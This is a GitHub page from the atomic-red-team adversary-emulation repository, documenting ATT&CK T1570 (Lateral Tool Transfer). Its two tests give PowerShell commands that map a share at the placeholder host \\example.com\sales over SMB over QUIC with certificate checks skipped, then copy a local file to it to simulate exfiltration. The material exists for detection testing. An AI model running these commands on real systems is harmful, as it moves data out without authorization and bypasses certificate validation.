




Sign in


 redcanaryco / atomic-red-team

Public

 Notifications


 Fork

2.8k


 Star

9.7k


<> Code


 Issues


6


 Pull requests

5

 Actions

 Wiki

 Security

 Insights

atomic-red-team / atomics / T1570 / T1570.md 






91 lines (47 loc) · 3.09 KB


Preview


Code

Blame

Raw







T1570 - Lateral Tool Transfer

Description from ATT&CK

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer] (<https://attack.mitre.org/techniques/T1105>)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares] (<https://attack.mitre.org/techniques/T1021/002>) to connected network shares or with authenticated connections via [Remote Desktop Protocol] (<https://attack.mitre.org/techniques/T1021/001>). (Citation: Unit42 LockerGoga 2019) Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](#).

Atomic Tests

- [Atomic Test #1 - Exfiltration Over SMB over QUIC \(New-SmbMapping\)](#)

- [Atomic Test #2 - Exfiltration Over SMB over QUIC \(NET USE\)](#)

Atomic Test #1 - Exfiltration Over SMB over QUIC (New-SmbMapping)

Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command. Prerequisites:

- A file server running Windows Server 2022 Datacenter: Azure Edition
- A Windows 11 computer
- Windows Admin Center

Supported Platforms: Windows

auto_generated_guid: d8d13303-159e-4f33-89f4-9f07812d016f

Inputs:

Name	Description	Type	Default Value
remote_path	The UNC path to the share on the file server	string	\\example.com\sales
local_file	The local file to be transferred	path	C:\path\to\file.txt

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCh  
copy '#{local_file}' 'Z:\'
```

Atomic Test #2 - Exfiltration Over SMB over QUIC (NET USE)

Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command. Prerequisites:

- A file server running Windows Server 2022 Datacenter: Azure Edition

- A Windows 11 computer
- Windows Admin Center

Supported Platforms: Windows

auto_generated_guid: 183235ca-8e6c-422c-88c2-3aa28c4825d9

Inputs:

Name	Description	Type	Default Value
remote_path	The UNC path to the share on the file server	string	\\example.com\sales
local_file	The local file to be transferred	path	C:\path\to\file.txt

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK
copy '#{local_file}' '*:\'
```

